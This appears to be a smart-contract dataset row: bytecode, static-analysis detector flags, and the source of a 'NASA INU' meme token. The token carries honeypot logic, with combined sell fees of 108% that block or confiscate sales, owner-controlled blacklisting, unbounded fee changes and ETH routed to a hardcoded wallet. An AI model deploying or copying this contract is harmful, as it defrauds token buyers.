12f15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610602565b60046009556008600a556000546001600160a01b0384811691161480159061132757506000546001600160a01b03838116911614155b156116205760006015544361133c91906125ce565b1080156113525750601054600160a01b900460ff165b1561137b576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6001600160a01b03831660009081526011602052604090205460ff161580156113bd57506001600160a01b03821660009081526011602052604090205460ff16155b6113c657600080fd5b60185481106113d457506018545b6010546001600160a01b0383811691161480159061140b57506001600160a01b03821660009081526005602052604090205460ff16155b156114ff576019548161141d84610794565b6114279190612575565b111561143257600080fd5b601a546001600160a01b03161561148757601d54611458906001600160a01b0316611a11565b61148757601d54611472906001600160a01b031683611b35565b601d54611487906001600160a01b0316611c34565b601b546001600160a01b0316156114ff57601c54816114a584610794565b6114af9190612575565b101580156114cf5750601e546114cd906001600160a01b0316611a11565b155b156114ea57601e546114ea906001600160a01b031683611b35565b601e546114ff906001600160a01b0316611c34565b600061150a30610794565b60175490915060ff1615801561152e57506010546001600160a01b03858116911614155b80156115415750601754610100900460ff165b1561161e57601b546001600160a01b03161561158957601c548261156486610794565b61156e91906125ce565b1161158957601e54611589906001600160a01b031685611d1c565b61159281611d4a565b601a546001600160a01b0316158015906115be5750601d546115bc906001600160a01b0316611a11565b155b156115d857601d546115d8906001600160a01b0316611c34565b601b546001600160a01b0316158015906116045750601e54611602906001600160a01b0316611a11565b155b1561161e57601e5461161e906001600160a01b0316611c34565b505b6001600160a01b03821660009081526005602052604090205460019060ff168061166257506001600160a01b03841660009081526005602052604090205460ff165b1561166b575060005b61167784848484611d8e565b50505050565b600081848411156116a15760405162461bcd60e51b8152600401610602919061247a565b5060006116ae84866125ce565b95945050505050565b60006111c283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611dbc565b600d546001600160a01b03166108fc6117138360026116b7565b6040518115909202916000818181858888f1935050505015801561173b573d6000803e3d6000fd5b50600e546001600160a01b03166108fc6117568360026116b7565b6040518115909202916000818181858888f19350505050158015610a55573d6000803e3d6000fd5b60006007548211156117e55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610602565b60006117ef611dea565b90506111c283826116b7565b6017805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061183d5761183d612643565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561189157600080fd5b505afa1580156118a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118c99190612260565b816001815181106118dc576118dc612643565b6001600160a01b039283166020918202929092010152600f54611902913091168461101f565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061193b908590600090869030904290600401612504565b600060405180830381600087803b15801561195557600080fd5b505af1925050508015611966575060015b611a035761197261266f565b806308c379a014156119bd575061198761268b565b8061199257506119bf565b600080516020612739833981519152816040516119af919061247a565b60405180910390a150611a03565b505b6000805160206127398339815191526040516119fa906020808252600b908201526a14ddd85c0811985a5b195960aa1b604082015260600190565b60405180910390a15b50506017805460ff19169055565b6000816001600160a01b0316636939864b6040518163ffffffff1660e01b815260040160206040518083038186803b158015611a4c57600080fd5b505afa925050508015611a7c575060408051601f3d908101601f19168201909252611a7991810190612433565b60015b6105d257611a8861266f565b806308c379a01415611ad65750611a9d61268b565b80611aa85750611ad8565b60008051602061273983398151915281604051611ac5919061247a565b60405180910390a150600192915050565b505b600080516020612739833981519152604051611b25906020808252601f908201527f4661696c656420746f2061637175697265204c6f747465727920537461746500604082015260600190565b60405180910390a1506001919050565b60405163d014c01f60e01b81526001600160a01b03828116600483015283169063d014c01f906024015b600060405180830381600087803b158015611b7957600080fd5b505af1925050508015611b8a575060015b610a5557611b9661266f565b806308c379a01415611be05750611bab61268b565b80611bb65750611be2565b60008051602061273983398151915281604051611bd3919061247a565b60405180910390a1505050565b505b600080516020612739833981519152604051611c28906020808252601690820152754572726f7220456e746572696e67204c6f747465727960501b604082015260600190565b60405180910390a15050565b806001600160a01b03166335ed020e6040518163ffffffff1660e01b8152600401600060405180830381600087803b158015611c6f57600080fd5b505af1925050508015611c80575060015b61079157611c8c61266f565b806308c379a01415611cc95750611ca161268b565b80611cac5750611ccb565b60008051602061273983398151915281604051611c28919061247a565b505b600080516020612739833981519152604051611d11906020808252601690820152754572726f7220456e746572696e67204c6f747465727960501b604082015260600190565b60405180910390a150565b60405163c7a5d28560e01b81526001600160a01b03828116600483015283169063c7a5d28590602401611b5f565b611d53816117fb565b478015610a55576000611d6c606461075b846042611143565b9050611d77816116f9565b6000611d838383611e0d565b905061167781611e4f565b80611d9b57611d9b611f13565b611da6848484611f41565b8061167757611677600b54600955600c54600a55565b60008183611ddd5760405162461bcd60e51b8152600401610602919061247a565b5060006116ae848661258d565b6000806000611df7612038565b9092509050611e0682826116b7565b9250505090565b60006111c283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061167d565b601a5481906001600160a01b031615611ec857611e72606461075b84604b611143565b611e7c90836125ce565b601a549091506001600160a01b03166108fc611e9e606461075b86604b611143565b6040518115909202916000818181858888f19350505050158015611ec6573d6000803e3d6000fd5b505b601b546001600160a01b031615610a5557601b546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156109b1573d6000803e3d6000fd5b600954158015611f235750600a54155b15611f2a57565b60098054600b55600a8054600c5560009182905555565b600080600080600080611f538761207a565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611f859087611e0d565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611fb490866120d7565b6001600160a01b038916600090815260026020526040902055611fd681612136565b611fe08483612180565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161202591815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea0000061205482826116b7565b82101561207157505060075492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006120978a600954600a546121a4565b92509250925060006120a7611dea565b905060008060006120ba8e8787876121f3565b919e509c509a509598509396509194505050505091939550919395565b6000806120e48385612575565b9050838110156111c25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610602565b6000612140611dea565b9050600061214e8383611143565b3060009081526002602052604090205490915061216b90826120d7565b30600090815260026020526040902055505050565b60075461218d9083611e0d565b60075560085461219d90826120d7565b6008555050565b60008080806121b8606461075b8989611143565b905060006121cb606461075b8a89611143565b905060006121e3826121dd8b86611e0d565b90611e0d565b9992985090965090945050505050565b60008080806122028886611143565b905060006122108887611143565b9050600061221e8888611143565b90506000612230826121dd8686611e0d565b939b939a50919850919650505050505050565b60006020828403121561225557600080fd5b81356111c281612715565b60006020828403121561227257600080fd5b81516111c281612715565b6000806040838503121561229057600080fd5b823561229b81612715565b915060208301356122ab81612715565b809150509250929050565b6000806000606084860312156122cb57600080fd5b83356122d681612715565b925060208401356122e681612715565b929592945050506040919091013590565b6000806040838503121561230a57600080fd5b823561231581612715565b946020939093013593505050565b6000602080838503121561233657600080fd5b823567ffffffffffffffff8082111561234e57600080fd5b818501915085601f83011261236257600080fd5b81358181111561237457612374612659565b8060051b9150604051612389858401826125e5565b81815284810184860184860187018a10156123a357600080fd5b600095505b838610156123d257803594506123bd85612715565b848252600195909501949086019086016123a8565b509098975050505050505050565b6000602082840312156123f257600080fd5b81356111c28161272a565b60006020828403121561240f57600080fd5b81516111c28161272a565b60006020828403121561242c57600080fd5b5035919050565b60006020828403121561244557600080fd5b5051919050565b60008060006060848603121561246157600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156124a75785810183015185820160400152820161248b565b818111156124b9576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156125545784516001600160a01b03168352938301939183019160010161252f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156125885761258861262d565b500190565b6000826125aa57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156125c9576125c961262d565b500290565b6000828210156125e0576125e061262d565b500390565b601f8201601f1916810167ffffffffffffffff8111828210171561260b5761260b612659565b6040525050565b60006000198214156126265761262661262d565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b600060033d11156126885760046000803e5060005160e01c5b90565b600060443d10156126995790565b6040516003193d81016004833e81513d67ffffffffffffffff81602484011181841117156126c957505050505090565b82850191508151818111156126e15750505050505090565b843d87010160208285010111156126fb5750505050505090565b61270a602082860101876125e5565b509095945050505050565b6001600160a01b038116811461079157600080fd5b801515811461079157600080fdfecf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122063e09cabdaf97bcab6fea094a4ae1dd38f58ff89a548daacb331ace822e0030e64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 1,466 |
0x741b14F54D2a303a7cF02eA366CeBA9De4C6DA50 | /**
*Submitted for verification at Etherscan.io on 2022-03-24
*/
/**
*/
/**
NASA INU
ELON TWEET PLAY
MAJOR MARKETING
Telegram: https://t.me/NASAINUERC
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract NasaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "NASA INU";
string private constant _symbol = "NASA INU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 1;
uint256 private _redisFeeOnSell = 97;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xaFE0cD57D49eA8ad263Cf612f9182126c51441df);
address payable private _marketingAddress = payable(0xaFE0cD57D49eA8ad263Cf612f9182126c51441df);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610523578063dd62ed3e14610543578063ea1644d514610589578063f2fde38b146105a957600080fd5b8063a2a957bb1461049e578063a9059cbb146104be578063bfd79284146104de578063c3c8cd801461050e57600080fd5b80638f70ccf7116100d15780638f70ccf7146104485780638f9a55c01461046857806395d89b41146101fe57806398a5c3151461047e57600080fd5b80637d1db4a5146103e75780637f2feddc146103fd5780638da5cb5b1461042a57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037d57806370a0823114610392578063715018a6146103b257806374010ece146103c757600080fd5b8063313ce5671461030157806349bd5a5e1461031d5780636b9990531461033d5780636d8aa8f81461035d57600080fd5b80631694505e116101ab5780631694505e1461026e57806318160ddd146102a657806323b872dd146102cb5780632fd689e3146102eb57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023e57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461192d565b6105c9565b005b34801561020a57600080fd5b5060408051808201825260088152674e41534120494e5560c01b6020820152905161023591906119f2565b60405180910390f35b34801561024a57600080fd5b5061025e610259366004611a47565b610668565b6040519015158152602001610235565b34801561027a57600080fd5b5060145461028e906001600160a01b031681565b6040516001600160a01b039091168152602001610235565b3480156102b257600080fd5b50670de0b6b3a76400005b604051908152602001610235565b3480156102d757600080fd5b5061025e6102e6366004611a73565b61067f565b3480156102f757600080fd5b506102bd60185481565b34801561030d57600080fd5b5060405160098152602001610235565b34801561032957600080fd5b5060155461028e906001600160a01b031681565b34801561034957600080fd5b506101fc610358366004611ab4565b6106e8565b34801561036957600080fd5b506101fc610378366004611ae1565b610733565b34801561038957600080fd5b506101fc61077b565b34801561039e57600080fd5b506102bd6103ad366004611ab4565b6107c6565b3480156103be57600080fd5b506101fc6107e8565b3480156103d357600080fd5b506101fc6103e2366004611afc565b61085c565b3480156103f357600080fd5b506102bd60165481565b34801561040957600080fd5b506102bd610418366004611ab4565b60116020526000908152604090205481565b34801561043657600080fd5b506000546001600160a01b031661028e565b34801561045457600080fd5b506101fc610463366004611ae1565b61088b565b34801561047457600080fd5b506102bd60175481565b34801561048a57600080fd5b506101fc610499366004611afc565b6108d3565b3480156104aa57600080fd5b506101fc6104b9366004611b15565b610902565b3480156104ca57600080fd5b5061025e6104d9366004611a47565b610940565b3480156104ea57600080fd5b5061025e6104f9366004611ab4565b60106020526000908152604090205460ff1681565b34801561051a57600080fd5b506101fc61094d565b34801561052f57600080fd5b506101fc61053e366004611b47565b6109a1565b34801561054f57600080fd5b506102bd61055e366004611bcb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059557600080fd5b506101fc6105a4366004611afc565b610a42565b3480156105b557600080fd5b506101fc6105c4366004611ab4565b610a71565b6000546001600160a01b031633146105fc5760405162461bcd60e51b81526004016105f390611c04565b60405180910390fd5b60005b81518110156106645760016010600084848151811061062057610620611c39565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065c81611c65565b9150506105ff565b5050565b6000610675338484610b5b565b5060015b92915050565b600061068c848484610c7f565b6106de84336106d985604051806060016040528060288152602001611d7f602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111bb565b610b5b565b5060019392505050565b6000546001600160a01b031633146107125760405162461bcd60e51b81526004016105f390611c04565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075d5760405162461bcd60e51b81526004016105f390611c04565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b057506013546001600160a01b0316336001600160a01b0316145b6107b957600080fd5b476107c3816111f5565b50565b6001600160a01b0381166000908152600260205260408120546106799061122f565b6000546001600160a01b031633146108125760405162461bcd60e51b81526004016105f390611c04565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108865760405162461bcd60e51b81526004016105f390611c04565b601655565b6000546001600160a01b031633146108b55760405162461bcd60e51b81526004016105f390611c04565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fd5760405162461bcd60e51b81526004016105f390611c04565b601855565b6000546001600160a01b0316331461092c5760405162461bcd60e51b81526004016105f390611c04565b600893909355600a91909155600955600b55565b6000610675338484610c7f565b6012546001600160a01b0316336001600160a01b0316148061098257506013546001600160a01b0316336001600160a01b0316145b61098b57600080fd5b6000610996306107c6565b90506107c3816112b3565b6000546001600160a01b031633146109cb5760405162461bcd60e51b81526004016105f390611c04565b60005b82811015610a3c5781600560008686858181106109ed576109ed611c39565b9050602002016020810190610a029190611ab4565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3481611c65565b9150506109ce565b50505050565b6000546001600160a01b03163314610a6c5760405162461bcd60e51b81526004016105f390611c04565b601755565b6000546001600160a01b03163314610a9b5760405162461bcd60e51b81526004016105f390611c04565b6001600160a01b038116610b005760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f3565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bbd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f3565b6001600160a01b038216610c1e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f3565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f3565b6001600160a01b038216610d455760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f3565b60008111610da75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f3565b6000546001600160a01b03848116911614801590610dd357506000546001600160a01b03838116911614155b156110b457601554600160a01b900460ff16610e6c576000546001600160a01b03848116911614610e6c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f3565b601654811115610ebe5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f3565b6001600160a01b03831660009081526010602052604090205460ff16158015610f0057506001600160a01b03821660009081526010602052604090205460ff16155b610f585760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f3565b6015546001600160a01b03838116911614610fdd5760175481610f7a846107c6565b610f849190611c80565b10610fdd5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f3565b6000610fe8306107c6565b6018546016549192508210159082106110015760165491505b8080156110185750601554600160a81b900460ff16155b801561103257506015546001600160a01b03868116911614155b80156110475750601554600160b01b900460f